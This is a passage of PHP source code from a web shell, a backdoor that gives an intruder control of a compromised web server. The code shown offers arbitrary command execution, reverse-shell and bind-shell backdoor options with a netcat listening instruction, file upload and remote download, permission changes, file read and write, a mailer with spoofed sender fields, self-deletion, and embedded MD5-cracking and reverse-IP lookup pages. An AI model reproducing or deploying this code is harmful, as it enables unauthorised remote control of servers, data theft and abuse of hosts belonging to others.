1419 $debase64 = htmlspecialchars($debase64);
1420 if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
1421 else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
1422 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
1423}
1424echo "</td></tr>".
1425 "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1426$c = strlen($encoder_input);
1427for($i=0;$i<$c;$i++) {
1428 $hex = dechex(ord($encoder_input[$i]));
1429 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1430 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1431}
1432echo "\" readonly></td></tr></table></center></form>";
1433}
1434if ($act == "fsbuff") {
1435 $arr_copy = $sess_data["copy"];
1436 $arr_cut = $sess_data["cut"];
1437 $arr = array_merge($arr_copy,$arr_cut);
1438 if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
1439 else {
1440 $fx_infohead = "File-System Buffer";
1441 $ls_arr = $arr;
1442 $disp_fullpath = TRUE;
1443 $act = "ls";
1444 }
1445}
1446if ($act == "selfremove") {
1447 if (($submit == $rndcode) and ($submit != "")) {
1448 if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; tpshexit(); }
1449 else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
1450 }
1451 else {
1452 if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
1453 $rnd = rand(0,9).rand(0,9).rand(0,9);
1454 echo "<form action=\"".$surl."\">\n".
1455 "<input type=hidden name=act value=selfremove>".
1456 "<input type=hidden name=rndcode value=\"".$rnd."\">".
1457 "<b>Kill-shell: ".__FILE__." <br>".
1458 "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>: <input type=text name=submit> <input type=submit value=\"YES\">\n".
1459 "</form>\n";
1460 }
1461}
1462if ($act == "update") {
1463 $ret = tpsh_getupdate(!!$confirmupdate);
1464 echo "<b>".$ret."</b>";
1465 if (stristr($ret,"new version")) {
1466 echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
1467 }
1468}
1469
1470if ($act == 'backc')
1471{
1472 $ip = $_SERVER["REMOTE_ADDR"];
1473 $msg = $_POST['backcconnmsg'];
1474 $emsg = $_POST['backcconnmsge'];
1475 echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>');
1476 echo $msg;
1477 echo $emsg;
1478}
1479
1480
1481if ($act == 'backd'){
1482$msg = $_POST['backcconnmsg'];
1483$emsg = $_POST['backcconnmsge'];
1484echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
1485Bind Port: <input type='text' name='backconnectport' value='5992'>
1486<input type='hidden' name='use' value='shbd'>
1487<input type='submit' value='Install Backdoor'></form>");
1488echo("$msg");
1489echo("$emsg");
1490echo("</center>");
1491}
1492if ($act == "mler") {
1493 if (!empty($submit)){
1494 $headers = 'To: '.$dest_email."\r\n";
1495 $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
1496 if (mail($suppmail,$sender_subj,$sender_body,$header)) {
1497 echo "<center><b>Email sent!</b></center>";
1498 }
1499 else { echo "<center><b>Can't send email!</b></center>"; }
1500 }
1501 else {
1502 echo "<form action=\"".$surl."\" method=POST>".
1503 "<input type=hidden name=act value=mler>".
1504 "<table class=contents><tr><td class=barheader colspan=2>".
1505 "[ Mailer ]</td></tr>".
1506 "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
1507 "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
1508 "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
1509 "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
1510 "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
1511 "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1512 "</table>\n";
1513 }
1514}
1515if ($act == 'dec') {
1516?>
1517<iframe
1518src ="http://www.md5decrypter.co.uk/"
1519height="600"
1520width="100%">
1521</iframe>
1522<?php
1523}
1524if ($act == 'rev') {
1525?>
1526<iframe
1527src ="http://www.yougetsignal.com/tools/web-sites-on-web-server//"
1528height="600"
1529width="100%">
1530</iframe>
1531<?php
1532}
1533if ($act == "search") {
1534 echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
1535 if (empty($search_in)) {$search_in = $d;}
1536 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1537 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1538 if (!empty($submit)) {
1539 $found = array();
1540 $found_d = 0;
1541 $found_f = 0;
1542 $search_i_f = 0;
1543 $search_i_d = 0;
1544 $a = array(
1545 "name"=>$search_name,
1546 "name_regexp"=>$search_name_regexp,
1547 "text"=>$search_text,
1548 "text_regexp"=>$search_text_regxp,
1549 "text_wwo"=>$search_text_wwo,
1550 "text_cs"=>$search_text_cs,
1551 "text_not"=>$search_text_not
1552 );
1553 $searchtime = getmicrotime();
1554 $in = array_unique(explode(";",$search_in));
1555 foreach($in as $v) {tpfsearch($v);}
1556 $searchtime = round(getmicrotime()-$searchtime,4);
1557 if (count($found) == 0) {echo "No files found!";}
1558 else {
1559 $ls_arr = $found;
1560 $disp_fullpath = TRUE;
1561 $act = "ls";
1562 }
1563 }
1564 echo "<table class=contents>".
1565 "<tr><td><form method=POST>".
1566 "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
1567 "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
1568 "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
1569 "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
1570 "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
1571 " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
1572 " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
1573 " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
1574 "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
1575 "</table>\n";
1576 if ($act == "ls") {
1577 $dspact = $act;
1578 echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
1579 "<hr size=\"1\" noshade>";
1580 }
1581}
1582if ($act == "chmod") {
1583 $mode = fileperms($d.$f);
1584 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1585 else {
1586 $form = TRUE;
1587 if ($chmod_submit) {
1588 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1589 if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1590 else {$err = "Can't chmod to ".$octet.".";}
1591 }
1592 if ($form) {
1593 $perms = parse_perms($mode);
1594 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1595 }
1596 }
1597}
1598if ($act == "upload") {
1599 $uploadmess = "";
1600 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1601 if (empty($uploadpath)) {$uploadpath = $d;}
1602 elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
1603 if (!empty($submit)) {
1604 global $_FILES;
1605 $uploadfile = $_FILES["uploadfile"];
1606 if (!empty($uploadfile["tmp_name"])) {
1607 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1608 else {$destin = $userfilename;}
1609 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
1610 $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
1611 }
1612 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1613 }
1614 else { echo "No file to upload!"; }
1615 }
1616 if ($miniform) {
1617 echo "<b>".$uploadmess."</b>";
1618 $act = "ls";
1619 }
1620 else {
1621 echo "<table><tr><td colspan=2 class=barheader>".
1622 ".: File Upload :.</td>".
1623 "<td colspan=2>".$uploadmess."</td></tr>".
1624 "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
1625 "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
1626 "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
1627 "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
1628 "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
1629 "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
1630 "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
1631 "</form></td></tr></table>";
1632 }
1633}
1634if ($act == "delete") {
1635 $delerr = "";
1636 foreach ($actbox as $v) {
1637 $result = FALSE;
1638 $result = fs_rmobj($v);
1639 if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1640 }
1641 if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
1642 $act = "ls";
1643}
1644if (!$usefsbuff) {
1645 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
1646 echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
1647 }
1648}
1649else {
1650 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); tp_sess_put($sess_data); $act = "ls"; }
1651 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); tp_sess_put($sess_data); $act = "ls";}
1652 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} tp_sess_put($sess_data); $act = "ls";}
1653 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); tp_sess_put($sess_data);}
1654 elseif ($actpastebuff) {
1655 $psterr = "";
1656 foreach($sess_data["copy"] as $k=>$v) {
1657 $to = $d.basename($v);
1658 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1659 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1660 }
1661 foreach($sess_data["cut"] as $k=>$v) {
1662 $to = $d.basename($v);
1663 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1664 unset($sess_data["cut"][$k]);
1665 }
1666 tp_sess_put($sess_data);
1667 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1668 $act = "ls";
1669 }
1670 elseif ($actarcbuff) {
1671 $arcerr = "";
1672 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1673 else {$ext = ".tar.gz";}
1674 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1675 $cmdline .= " ".$actarcbuff_path;
1676 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1677 foreach($objects as $v) {
1678 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1679 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1680 if (is_dir($v)) {
1681 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1682 $v .= "*";
1683 }
1684 $cmdline .= " ".$v;
1685 }
1686 $tmp = realpath(".");
1687 chdir($d);
1688 $ret = tpexec($cmdline);
1689 chdir($tmp);
1690 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1691 $ret = str_replace("\r\n","\n",$ret);
1692 $ret = explode("\n",$ret);
1693 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1694 foreach($sess_data["cut"] as $k=>$v) {
1695 if (in_array($v,$ret)) {fs_rmobj($v);}
1696 unset($sess_data["cut"][$k]);
1697 }
1698 tp_sess_put($sess_data);
1699 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1700 $act = "ls";
1701 }
1702 elseif ($actpastebuff) {
1703 $psterr = "";
1704 foreach($sess_data["copy"] as $k=>$v) {
1705 $to = $d.basename($v);
1706 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1707 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1708 }
1709 foreach($sess_data["cut"] as $k=>$v) {
1710 $to = $d.basename($v);
1711 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1712 unset($sess_data["cut"][$k]);
1713 }
1714 tp_sess_put($sess_data);
1715 if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
1716 $act = "ls";
1717 }
1718}
1719if ($act == "cmd") {
1720 @chdir($chdir);
1721 if (!empty($submit)) {
1722 echo "<div class=barheader>.: Results of Execution :.</div>\n";
1723 $olddir = realpath(".");
1724 @chdir($d);
1725 $ret = tpexec($cmd);
1726 $ret = convert_cyr_string($ret,"d","w");
1727 if ($cmd_txt) {
1728 $rows = count(explode("\n",$ret))+1;
1729 if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1730 $cols = 130;
1731 echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1732 //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
1733 }
1734 else { echo $ret."<br>"; }
1735 @chdir($olddir);
1736 }
1737}
1738if ($act == "ls") {
1739 if (count($ls_arr) > 0) { $list = $ls_arr; }
1740 else {
1741 $list = array();
1742 if ($h = @opendir($d)) {
1743 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1744 closedir($h);
1745 }
1746 }
1747 if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
1748 else {
1749 $objects = array();
1750 $vd = "f"; //Viewing mode
1751 if ($vd == "f") {
1752 $objects["head"] = array();
1753 $objects["folders"] = array();
1754 $objects["links"] = array();
1755 $objects["files"] = array();
1756 foreach ($list as $v) {
1757 $o = basename($v);
1758 $row = array();
1759 if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
1760 elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
1761 elseif (is_dir($v)) {
1762 if (is_link($v)) {$type = "LINK";}
1763 else {$type = "DIR";}
1764 $row[] = $v;
1765 $row[] = $type;
1766 }
1767 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1768 $row[] = filemtime($v);
1769 if (!$win) {
1770 $ow = posix_getpwuid(fileowner($v));
1771 $gr = posix_getgrgid(filegroup($v));
1772 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1773 }
1774 $row[] = fileperms($v);
1775 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1776 elseif (is_link($v)) {$objects["links"][] = $row;}
1777 elseif (is_dir($v)) {$objects["folders"][] = $row;}
1778 elseif (is_file($v)) {$objects["files"][] = $row;}
1779 $i++;
1780 }
1781 $row = array();
1782 $row[] = "<b>Name</b>";
1783 $row[] = "<b>Size</b>";
1784 $row[] = "<b>Date Modified</b>";
1785 if (!$win) {$row[] = "<b>Owner/Group</b>";}
1786 $row[] = "<b>Perms</b>";
1787 $row[] = "<b>Action</b>";
1788 $parsesort = parsesort($sort);
1789 $sort = $parsesort[0].$parsesort[1];
1790 $k = $parsesort[0];
1791 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1792 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1793 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
1794 $row[$k] .= $y;
1795 for($i=0;$i<count($row)-1;$i++) {
1796 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1797 }
1798 $v = $parsesort[0];
1799 usort($objects["folders"], "tabsort");
1800 usort($objects["links"], "tabsort");
1801 usort($objects["files"], "tabsort");
1802 if ($parsesort[1] == "d") {
1803 $objects["folders"] = array_reverse($objects["folders"]);
1804 $objects["files"] = array_reverse($objects["files"]);
1805 }
1806 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1807 $tab = array();
1808 $tab["cols"] = array($row);
1809 $tab["head"] = array();
1810 $tab["folders"] = array();
1811 $tab["links"] = array();
1812 $tab["files"] = array();
1813 $i = 0;
1814 foreach ($objects as $a) {
1815 $v = $a[0];
1816 $o = basename($v);
1817 $dir = dirname($v);
1818 if ($disp_fullpath) {$disppath = $v;}
1819 else {$disppath = $o;}
1820 $disppath = str2mini($disppath,60);
1821 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1822 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1823 foreach ($regxp_highlight as $r) {
1824 if (ereg($r[0],$o)) {
1825 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; tpshexit();}
1826 else {
1827 $r[1] = round($r[1]);
1828 $isdir = is_dir($v);
1829 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1830 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1831 $disppath = $r[2].$disppath.$r[3];
1832 if ($r[4]) {break;}
1833 }
1834 }
1835 }
1836 }
1837 $uo = urlencode($o);
1838 $ud = urlencode($dir);
1839 $uv = urlencode($v);
1840 $row = array();
1841 if ($o == ".") {
1842 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> ".$o."</a>";
1843 $row[] = "CURDIR";
1844 }
1845 elseif ($o == "..") {
1846 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
1847 $row[] = "UPDIR";
1848 }
1849 elseif (is_dir($v)) {
1850 if (is_link($v)) {
1851 $disppath .= " => ".readlink($v);
1852 $type = "LINK";
1853 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
1854 }
1855 else {
1856 $type = "DIR";
1857 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
1858 }
1859 $row[] = $type;
1860 }
1861 elseif(is_file($v)) {
1862 $ext = explode(".",$o);
1863 $c = count($ext)-1;
1864 $ext = $ext[$c];
1865 $ext = strtolower($ext);
1866 $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
1867 $row[] = view_size($a[1]);
1868 }
1869 $row[] = @date("d.m.Y H:i:s",$a[2]);
1870 if (!$win) { $row[] = $a[3]; }
1871 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1872 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
1873 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
1874 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
1875 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
1876 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
1877 elseif (is_link($v)) {$tab["links"][] = $row;}
1878 elseif (is_dir($v)) {$tab["folders"][] = $row;}
1879 elseif (is_file($v)) {$tab["files"][] = $row;}
1880 $i++;
1881 }
1882 }
1883 // Compiling table
1884 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1885 echo "<div class=barheader>.: ";
1886 if (!empty($fx_infohead)) { echo $fx_infohead; }
1887 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1888 echo " :.</div>\n";
1889 echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
1890 "<table class=explorer>";
1891 foreach($table as $row) {
1892 echo "<tr>";
1893 foreach($row as $v) {echo "<td>".$v."</td>";}
1894 echo "</tr>\r\n";
1895 }
1896 echo "</table>".
1897 "<script>".
1898 "function ls_setcheckboxall(status) {".
1899 " var id = 1; var num = ".(count($table)-2).";".
1900 " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
1901 "}".
1902 "function ls_reverse_all() {".
1903 " var id = 1; var num = ".(count($table)-2).";".
1904 " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
1905 "}".
1906 "</script>".
1907 "<div align=\"right\">".
1908 "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
1909 "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
1910 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
1911 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
1912 }
1913 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
1914 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
1915 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
1916 if ($usefsbuff) {
1917 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
1918 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
1919 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
1920 }
1921 echo "</select> <input type=submit value=\"Confirm\"></div>";
1922 echo "</form>";
1923 }
1924}
1925
1926if ($act == "phpfsys") {
1927 echo "<div align=left>";
1928 $fsfunc = $phpfsysfunc;
1929 if ($fsfunc=="copy") {
1930 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1931 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1932 }
1933 elseif ($fsfunc=="rename") {
1934 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1935 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1936 }
1937 elseif ($fsfunc=="chmod") {
1938 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1939 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1940 }
1941 elseif ($fsfunc=="read") {
1942 $darg = $d.$arg1;
1943 if ($hasil = @file_get_contents($darg)) {
1944 echo "<b>Filename:</b> ".$darg."<br>";
1945 echo "<center><textarea cols=135 rows=30>";
1946 echo htmlentities($hasil);
1947 echo "</textarea></center>\n";
1948 }
1949 else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
1950 }
1951 elseif ($fsfunc=="write") {
1952 $darg = $d.$arg1;
1953 if(@file_put_contents($darg,$arg2)) {
1954 echo "<b>Saved!</b> ".$darg;
1955 }
1956 else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
1957 }
1958 elseif ($fsfunc=="downloadbin") {
1959 $handle = fopen($arg1, "rb");
1960 $contents = '';
1961 while (!feof($handle)) {
1962 $contents .= fread($handle, 8192);
1963 }
1964 $r = @fopen($d.$arg2,'w');
1965 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1966 else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1967 fclose($r);
1968 fclose($handle);
1969 }
1970 elseif ($fsfunc=="download") {
1971 $text = implode('', file($arg1));
1972 if ($text) {
1973 $r = @fopen($d.$arg2,'w');
1974 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1975 else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1976 fclose($r);
1977 }
1978 else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
1979 }
1980 elseif ($fsfunc=='mkdir') {
1981 $thedir = $d.$arg1;
1982 if ($thedir != $d) {
1983 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1984 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1985 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1986 }
